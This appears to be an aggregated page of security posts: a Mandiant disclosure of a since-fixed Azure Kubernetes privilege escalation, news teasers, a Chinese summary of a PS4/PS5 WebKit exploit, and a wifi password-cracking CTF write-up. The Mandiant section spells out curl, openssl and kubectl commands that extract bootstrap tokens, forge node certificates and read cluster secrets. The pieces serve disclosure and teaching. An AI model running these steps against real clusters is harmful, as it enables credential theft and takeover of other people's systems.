Written by: Nick McClendon, Daniel McNamara, Jacob Paullus
Executive Summary
Kubernetes can be difficult to harden. Enforcing authentication for internal services, applying granular NetworkPolicies, and restricting unsafe workloads with Pod Security are now table stakes for preventing post-exploitation activity that can compromise an entire cluster. These security configurations that limit attack surface help prevent against known and unknown attacks alike.
Azure Kubernetes Services clusters using "Azure CNI" for the "Network configuration" and "Azure" for the "Network Policy" were affected by this privilege escalation vulnerability. An attacker with command execution in a Pod running within an affected Azure Kubernetes Services cluster could download the configuration used to provision the cluster node, extract the transport layer security (TLS) bootstrap tokens, and perform a TLS bootstrap attack to read all secrets within the cluster. This attack did not require the Pod to be running with hostNetwork set to true and does not require the Pod to be running as root.
Mandiant disclosed this vulnerability to Microsoft via the MSRC vulnerability disclosure program, and Microsoft has fixed the underlying issue.
Background Cluster Network AccessKubernetes clusters are often deployed without consideration for the possibility of an attacker with code execution within a Pod. This can happen in many ways, including via existing vulnerabilities in running workloads, continuous integration build jobs, or a compromised developer account. In these scenarios, NetworkPolicies are the first line of defense to prevent post-exploitation activity.
Without NetworkPolicies in place, you should assume a compromised Pod can access any network resource any other Pod on the cluster can access. This could include the local Redis cache for another Pod, managed databases running in your cloud provider, or even your on-premises network. When these services require authentication and are configured correctly, this is a relatively low-risk configuration —a vulnerability in one of these services would be necessary for an attacker to exploit.
Often overlooked among these accessible services are the internal cloud services used to configure the worker nodes on which these Pods are running. The metadata server, accessible at http://169.254.169.254 across cloud providers, provides machine configuration and often the credentials used to identify the machine to the cloud provider. Generally speaking, direct access to the metadata server is equivalent to having the same permissions the machine does.
Metadata server attacks are not new and cloud providers do a lot to limit their attack surface by default. Most cloud providers do a combination of recommending NetworkPolicies to block access to 169.254.0.0/16, limiting the default privileges assigned to worker nodes, and providing alternatives to allow Pods to have their own credentials separate from the instance they're running on.
Bootstrapping Kubernetes NodesThe difficulty in bootstrapping trust in Kubernetes Nodes is well known among the Kubernetes security community. The kubelet that runs on Kubernetes Nodes needs a TLS certificate signed by the control plane Certificate Authority (CA) to operate safely. But in a large distributed system where nodes (or virtual machines [VMs]) are constantly created and destroyed, how should that certificate be provisioned onto the VM? One option on cloud services is to use the metadata server, accessible at http://169.254.169.254 across cloud providers, to deliver a static token to provisioned VMs that can be used to prove the VM should be part of the cluster and issued a kubelet certificate.
The problem with that approach is that these metadata services are network accessible and could cause theft of the token if the attacker has network access, such as through a server-side request forgery (SSRF) vulnerability. The Google Kubernetes Engine (GKE) security team presented about this style of attack with Shopify at Kubecon in 2018. With possession of these bootstrap tokens, an attacker can create a kubelet certificate for their own machine and use those credentials to attack the control plane, steal secrets, and interfere with the workloads scheduled on their malicious "node."
While protecting these tokens by denying applications access to the metadata server can help, the managed Kubernetes industry has evolved beyond simple token provisioning as a means for identifying VMs for critical security decisions.
Taking GKE as an example, we can see this evolution happening. GKE first protected clusters against these kinds of bootstrap token-stealing attacks in February 2018 with the launch of the metadata concealment proxy, which was presented at Kubecon that year. That temporary solution was replaced in September 2019 with a cryptographically verifiable virtual Trusted Platform Module (vTPM)-backed trust bootstrap process that operates as part of shielded nodes. Shielded nodes have been enabled by default for all newly created GKE clusters since January 2021. It is enabled for all GKE Autopilot clusters and cannot be disabled.
GKE shielded nodes remove the risk of bootstrap token theft instead of concealing it. Instead of relying on possession of a static token to authenticate and authorize a request for a new kubelet certificate, the VM requests an attestation from the VM's vTPM, which is then verified by the control plane before issuing the kubelet certificate. Generating this attestation requires the attacker to have access to a root-owned device on the VM, which is a significantly higher bar than network access to the metadata server. Even with that access, the attacker can only generate an attestation for that node, not any node in the cluster. A new attestation will need to be produced to obtain a new kubelet certificate when the existing one expires, requiring the attacker to maintain presence on the node.
Azure WireServer and the HostGAPluginAzure WireServer is an undocumented component of Azure used internally by the platform for several reasons. At the time of writing, the best official resource for the WireServer's functionality is Azure's WALinuxAgent repository, which handles provisioning of Linux instances and interactions with Azure Fabric.
CyberCX published research in May 2023 that included an interesting attack path with the undocumented HostGAPlugin. Given access to the WireServer (http://168.63.129.16/machine/?comp=goalstate) and HostGAPlugin (http://168.63.129.16:32526/vmSettings) endpoint, an attacker could retrieve and decrypt the settings provided to a number of extensions, including the "Custom Script Extension," a service used to provide a virtual machine its initial configuration.
Vulnerability Exploitation Recovering TLS Bootstrap TokensFollowing the process documented by CyberCX, the key used to encrypt protected settings values can be requested from the WireServer. The commands to generate wireserver.key have been copied as follows from their original blog post for completeness.
openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 -newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' -H 'x-ms-version: 2015-04-05' -s | grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii) curl $CERT_URL -H 'x-ms-version: 2015-04-05' -H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.keyWhen performed correctly, the TenantEncryptionCert key will be written to wireserver.key.
Figure 1: Expected key attributes for wireserver.key
The JSON document returned from the HostGAPlugin can be roughly parsed to remove null values and Base64 decoded to produce the encrypted blob (protected_settings.bin) containing the script used to provision the machine.
curl -s 'http://168.63.129.16:32526/vmSettings' | jq -r.extensionGoalStates[].settings[].protectedSettings | grep -v null | base64 -d > protected_settings.binThe encrypted settings blob (protected_settings.bin) can then be decrypted with the previously obtained wireserver.key.
openssl cms -decrypt -inform DER -in settings.bin -inkey ./wireserver.key > settings.jsonThis settings file includes a single key, commandToExecute, which includes the provisioning script used for the Kuberenetes nodes the Pod is running on.
Figure 2: ProtectedSettings configuration for commandToExecute
The provisioning script appears to include the templated result of cse_cmd.sh, a provisioning script for Azure Kubernetes Service nodes. This provisioning script includes a number of secrets included as environment variables, with the ones used for privilege escalation documented as follows.
Environment Variable
Purpose
KUBELET_CLIENT_CONTENT
Generic Node TLS Key
KUBELET_CLIENT_CERT_CONTENT
Generic Node TLS Certificate
KUBELET_CA_CRT
Kubernetes CA Certificate
TLS_BOOTSTRAP_TOKEN
TLS Bootstrap Authentication Token
KUBELET_CLIENT_CONTENT, KUBELET_CLIENT_CERT_CONTENT, and KUBELET_CA_CRT can be Base64 decoded and written to disk to use with the Kubernetes command-line tool kubectl to authenticate to the cluster. This account has minimal Kubernetes permissions in recently deployed Azure Kubernetes Service (AKS) clusters, but it can notably list nodes in the cluster.
Figure 3: Permissions granted to the embedded TLS certificates
TLS_BOOTSTRAP_TOKEN can be provided directly to authentication with kubectl and can read and create ClientSigningRequests (CSR), enabling a TLS bootstrap attack, similar to the 2018 attack described by 4Armed on GKE that was preventable by using the GKE metadata concealment feature at the time, and later prevented by default on GKE with Shielded Nodes.
Figure 4: Permissions granted to the TLS Bootstrap token
Recovering Active Node CertificatesThe certificates embedded in cse_cmd.sh can be used to list the nodes within the cluster, used in a later step to request a certificate for an active node.
kubectl --certificate-authority ca.crt --client-certificate kubelet.crt --client-key kubelet.key --server https://10.0.0.1:443 get nodesNodes are identified with client certificates with the Common Name system:node:<NODE NAME> and the Organization system:nodes. Following are the cfssl commands used to generate a certificate.
cat <<EOF | cfssl genkey - | cfssljson -bare <NODE NAME> { "CN": "system:node:<NODE NAME>", "key": { "algo": "rsa", "size": 2048 }, "names": [ { "O": "system:nodes" } ] } EOFThe CSR can be submitted to the Kubernetes API using the TLS bootstrap token included in cse_cmd.sh using the following kubectl command.
cat <<EOF | kubectl --token=<TLS BOOTSTRAP TOKEN> --certificate-authority ca.crt --server https://10.0.0.1:443 apply -f - apiVersion: certificates.k8s.io/v1 kind: CertificateSigningRequest metadata: name: "<NODE NAME>" spec: groups: - system:nodes request: $(cat "<NODE NAME>".csr | base64 | tr -d '\n') signerName: kubernetes.io/kube-apiserver-client-kubelet usages: - digital signature - key encipherment - client auth EOFAzure Kubernetes Services automatically signs CSRs submitted by TLS bootstrap tokens and generates an authentication certificate. The certificate can be requested with the following kubectl command.
kubectl --token=<TLS BOOTSTRAP TOKEN> --certificate-authority ca.crt --server https://10.0.0.1:443 get csr <NODE NAME> -o jsonpath='{.status.certificate}' | base64 -d > <NODE NAME>.crtThe obtained certificate can then be validated by using it to authenticate to the Kubernetes API with the following kubectl command.
kubectl --certificate-authority ca.crt --client-certificate <NODE NAME>.key --client-key <NODE NAME>.crt --server https://10.0.0.1:443 auth can-i --listFigure 5: Permissions granted to the newly issued certificate
The Node Authorizer grants permissions based on the workloads scheduled on the node, which includes the ability to read all secrets for a workload running on the node. This process can be repeated across all active nodes to gain access to all secrets used by running workloads.
PreventionAdopting a process to create restrictive NetworkPolicies that allow access only to required services prevents this entire attack class. Privilege escalation via an undocumented service is prevented when the service cannot be accessed at all.
Researchers uncovered a new malware campaign dubbed BeaverTail, a North Korean cyber espionage malware family primarily focusing on job seekers. Initially identified as a JavaScript-based info stealer, it has since morphed into a native macOS version that pretends to be legitimate software like the MiroTalk video call service. This malware is designed to steal confidential […]
The post BeaverTail Malware Attacking Windows Users Via Weaponized Games appeared first on GBHackers on Security | #1 Globally Trusted Cyber Security News Platform.
往期回顾：
In episode 342, we discuss the effectiveness of people-search removal tools like DeleteMe and Reputation Defender, based on a study by Consumer Reports. We also cover how almost every American’s social security number has potentially been stolen by hackers and shared on the dark web. Scott and Tom talk about the importance of protecting your […]
The post The Inefficiency of People-Search Removal Tools, Massive Data Breach Impacting U.S. Citizens appeared first on Shared Security Podcast.
The post The Inefficiency of People-Search Removal Tools, Massive Data Breach Impacting U.S. Citizens appeared first on Security Boulevard.
PS4和PS5中的WebKit漏洞指的是其浏览器中发现的WebKit引擎漏洞。
这些漏洞在Safari和Chrome等浏览器中被发现，由于PS4和PS5共享相同的WebKit代码库，因此它们也可能存在这些漏洞。
尽管单独的WebKit漏洞不足以进行越狱，但它却是关键的第一步。利用这类漏洞和内核漏洞（提供更多系统访问权限）可能会导致PS4和PS5的越狱。
由于PS5具有强大的安全缓解措施，单靠PPPwn漏洞不足以进行PS5的越狱。可能需要与PPPwn结合使用的用户模式漏洞才能实现可行的PS5漏洞利用。
虽然PPPwn在互联网连接期间触发，而WebKit漏洞在Web浏览器中运行，这使得按顺序利用它们变得具有挑战性。
然而，WebKit漏洞对于PS5破解场景通常是积极的信号，因为它们可能为未来的漏洞利用提供途径。
攻击者能够利用最近修补的Safari/WebKit漏洞，通过利用JavaScript引擎的假设，特定属性（如原型）是不可配置的。
这个漏洞使它们能够被配置，从而基本上创建了类型混淆。
通过操纵这一点，攻击者可以访问本应无法访问的属性，可能是通过分析阶段中使用的Spread操作码。
这突显了当对数据类型的假设被打破时，意外副作用的危险性。
混淆漏洞代码片段
该代码构造了一个潜在的类型混淆漏洞场景。通过从 Function 继承，Base 类获得了内置的 prototype 属性访问权限，在构造过程中将一个数字赋给 super.prototype 可能会损坏原型链。
在一个不存在的 arr 变量上定义了一个 getter，以在调用 prototype getter 时操纵 victim[1]，结合一个大循环操作 victim 元素和最终的类型转换，使用可能由攻击者控制的‘flag’，创造了一个环境，在这种环境下，写入 arr[0] 可能会覆盖另一个对象的 prototype，其值为 victim[1]，从而导致意外行为的发生。
受此漏洞影响的固件
据报道，一种潜在的影响PS4和PS5主机的WebKit漏洞已经出现。用户可以通过在主机浏览器中使用DNS重定向测试特定URL，来查看他们的设备是否容易受到影响。
根据Wolo的说法，该测试利用漏洞，通过向一个恶意网页提供输入来触发“内存不足”或“系统内存不足”的错误消息，表明在PS4固件版本10.00到11.02和PS5固件版本6.00到8.60上成功利用了漏洞。
"It is never too late to be who you might have been."
- George Elliot
Introduction:This is a continuation of my write-up about this year's Crack Me If You Can challenges. You can view my previous two write-ups using the following links. Each one covered a specific challenge of the CMIYC contest: [Striphash] and [Radmin3 hashes].
I'll admit, in my previous posts I was focusing on the plumbing of the challenges. Aka how to extract the hashes and get them in a format that you can run password cracking attacks against. But I danced around how to run successful cracking sessions against those hashes. There's a lot of reasons for that, but the biggest one is that I wasn't very successful during the contest itself. I needed time to step back, and start investigating all the challenges and hints that Korelogic gave out during the contest but I didn't have time to really dig into. Then with sleep and no pressing deadlines I could start to solve, understand, and then incorporate these challenges into my cracking session. That's a lot of words to say that I didn't solve the wifi cracking challenge during the contest, but I felt it would be worthwhile to look into it afterwards and document how I went about working through it. This will hopefully be one of the more day-to-day practical write-ups as well since cracking wifi passwords is something that can be pretty common during pen-test engagements if you can line up the appropriate permissions.
Important Links, Tools, and References for this Post:As a bit of backstory for myself, I got my start in computer security being a wireless penetration tester/red-teamer. I had perfect timing since new tools to crack WEP sessions had just been released and a Symantec Antivirus remote exploit had become available. So by pressing a few buttons I could look like a super L33t hacker without really knowing anything.
Ever since then, I've had a soft spot in my heart for wireless hacking. The challenge though is I rarely do any wireless hacking in my day job. Yes, I do vulnerability impact analysis research, but I usually start with a white card that assumes I already have access to the wireless network. How do I justify that? Well let me refer you to my talk at BSidesLV2023: Passwords911 Authentication Adventures in Healthcare. To be more specific, I end up buying a lot of used medical equipment off of eBay (my job is so weird but awesome). Often these medical devices still have hospital credentials such as wireless passwords, and Active Directory tokens, as well as patient records still on them.
Don't just take my word for it. The security company Rapid7 did a similar analysis and found over half of all wireless infusion pumps that they purchased on the secondary market had sensitive data still on them [Link]. As a disclaimer, I haven't seen any reporting of threat actors doing this in the wild. This particular attack requires a lot of luck and physical proximity to the institution that sold the medical equipment. Basically it would be a huge pain to try and pull off in real life. But it does work pretty well when I'm requesting a white-card so that way I can focus on the part of the assessment that I really want to dig into.
Now that the "cooking recipe back-story" of this post out of the way, let's look at the challenge itself. In the first hint file released after the contest started "cmiyc-2024_street_files_2" it included a "street.pcap" file along with the following note:
-----
From: Jarlaxle
To: Tiamat
Jarlaxle
-----
Extracting the WPA1 Hash:Figuring out accounts sounds promising when it comes to cracking the challenge passwords. So let's open up the pcap in Wireshark.
Ok, so this pcap looks like something we can use to crack the WPA1 pre-shared key. The next question is, how do we get the WPA1 hash?
One option is to use the excellent and easy to use cap2pcap site run by Hashcat [link]. You just need to upload the packet capture and a couple of seconds later it returns to you a download of the hash to crack. For a contest like this, it is super easy and absolutely the way to go so you can focus your time and effort on other tasks.
The problem is you can get in big trouble if you use this site for real world penetration testing engagements. You are uploading sponsor data to a cloud based hacking site probably being monitored by who knows what threat actors. I'm not throwing shade at the Hashcat team for offering this service. It's a great service and I really appreciate they provide it. But you don't want to be uploading client data to other reputable cyber security sites such as Virus Totals either. Basically if you are getting paid to do this type of analysis, you are also getting paid to learn to dump the hashes from a packet capture file using your own systems.
"Quick" HcxTools Install Guide for WSL2:Ignoring all the Googling and troubleshooting, the process to get HcxTools installed and working was a breezy two hours or so. I don't know why people don't do this instead of using Hashcat's easy to use online service...
I will say, these write-ups are mostly for myself. I guarantee sometime in the future I'll need to install HcxTools, so it is nice to have someplace I can refer back to vs. having to do all that Googling and troubleshooting again. So now that we have HcxTools installed, let's use it to extract the WPA hash from the packet capture.
Using HcxTools to Manually Dump the WPA1 Hash:
Once you have HcxTools installed and working, it's a pretty straightforward process to dump the password hash. Before that though, I should take a moment and highlight that HcxTools is a very powerful toolsuite and has a number of advanced options to deal with large packet captures containing hundreds of wireless networks. You know those people walking around the Defcon security conference with a "wifi cactus"? Or in a more general case, old school wardrivers sniffing traffic from all over a city. Well they are probably making use of HcxTools advanced features to sort through the outputs and create custom hash lists. For this contest though, the pcap is small and there's only one network, so we can use the basic options:I'd include a screenshot of this, but it looks almost exactly like the online service that Hashcat provides in the picture included above.
Using John the Ripper's wpapcap2john to Manually Dump the WPA1 Hash:
If you are going to use John the Ripper to crack the WPA1 hash, there is an easier option available to you. Included in the Jumbo version of JtR is a tool called wpapcap2john that is super easy to use and will save the resulting hash in a format that John the Ripper can use.
Example:The WPA1-PSK hash file formats for both John the Ripper and Hashcat are different but once you have the hashes you can pick which tool you want to crack them with. I personally like using John the Ripper since I don't have a lot of GPU power to throw at the problem and I like JtR's rule logic better. But Hashcat is much preferable if you do have the compute power to really throw at the problem. I'm going to show examples of using both tools, since luckily the street password that Korelogic provided for this file was fairly simple to crack.
Cracking with John the Ripper:
The hash format for John the ripper is "wpapsk" so I used the following command to run my initial attack in Batch mode.Cracking with Hashcat:
The first step with cracking the WPA1-PSK hash in hashcat is figuring out what format to target. There's a lot of different wifi cracking modes! Now if you are lazy you can simply skip the '-m' option and let Hashcat autodetect the password hash which works pretty well for well defined hash types. The other option is you can refer to the list of Hashcat hash mode examples. The hash dumped from HcxTools starts with "WPA*02*" and when looking through the example hashes that matches up to "-m 22000"
Now it's just up to us to run a cracking session. To keep things simple, I used the standard JtR passwords.lst wordlist since that's a pretty good small one, and I picked the d3ad0ne.rule included in Hashcat as that tends to be my default go-to ruleset to use. In retrospect I should have kept it smaller with something like best64.rule (you can tell the reason when you look at my anemic password cracking setting in the screenshot below), but it was a very weak password so it didn't make much of a difference this time.
Example Hashcat Command:The easiest way to decrypt the encrypted session in the packet capture is to use Wireshark. I included a link to the official tutorial on how to do that at the top of this blog entry since I always have to look it up every time I do this. But here is a quick list of the steps:
Quick Disclaimer: I don't know if Wireshark is smart enough to realize the last ":" is the delimitator or not so it might not actually mess up your decryption if a ":" is in the password. Setting up a wifi network and testing that out will need to be a rabbit hole for a different day.
Once you do this, Wireshark will automatically decrypt the traffic making it really easy to start digging into it and looking for fun conversations and artifacts.
Analyzing the Packet Capture:I'm sure there is some toolset or script out there that will parse through this decrypted traffic and pull out interesting passwords and information from it. My first instinct would be to go with DSniff, but looking at the repo it hasn't been updated in the last 14 years. (Side note: This also gave me the realization "OMG I'm old").
Question: What tools do you recommend to parse through packet captures and extract passwords and keys?Since I was curious and didn't want to spend six hours digging into another side-quest of investigating packet capture analysis tools, I'll admit for this first pass I just started scrolling through the decrypted traffic to see if there was anything interesting. And the TLDR was, yes, there was a lot of interesting traffic.
FTP Credential Analysis: I need to dig into this more, but at least in the initial street file hashes, there does not appear to be a user with the name "yashica". I might need to throw their password, (along with others extracted from this packet capture) into a general wordlist and run it against all the uncracked hashes I have. That is, unless there is another hint file that provides further context. So the next question, is "what about that passwords-street" file they are downloading?
Yup, that could be useful as well! Now, I want to preface this next point by once again saying that there must be a better way to analyze these packet captures, and doing it by hand is tedious and error prone. But if you are going to parse it hand like I am doing, you can look at the filter that gets applied in Wireshark when you follow a TCP stream and manually increment it by one to view the next TCP session. It's not a pretty way to do things, but it's much better than hunting and pecking and scrolling through the full packet capture.
Other interesting side quests: There is one session where the user grabs the following webpage: "/obscure/path/for/extra/security/passwords-street.html",
Conclusion:I know I started this post by saying that I needed to get away from all the plumbing of extracting/formatting hashes and start actually cracking the challenge passwords. Unfortunately, it looks like I totally failed in that task again. Now that we have some hint files and sample passwords though, making use of this data will hopefully be the subject of a follow up blog post. For now though I really enjoyed writing this blog post and getting back into practicing my wifi hacking skills. So thanks again to Korelogic for including this challenge in this year's contest.
The post CMIYC2024: Wifi Cracking Challenge appeared first on Security Boulevard.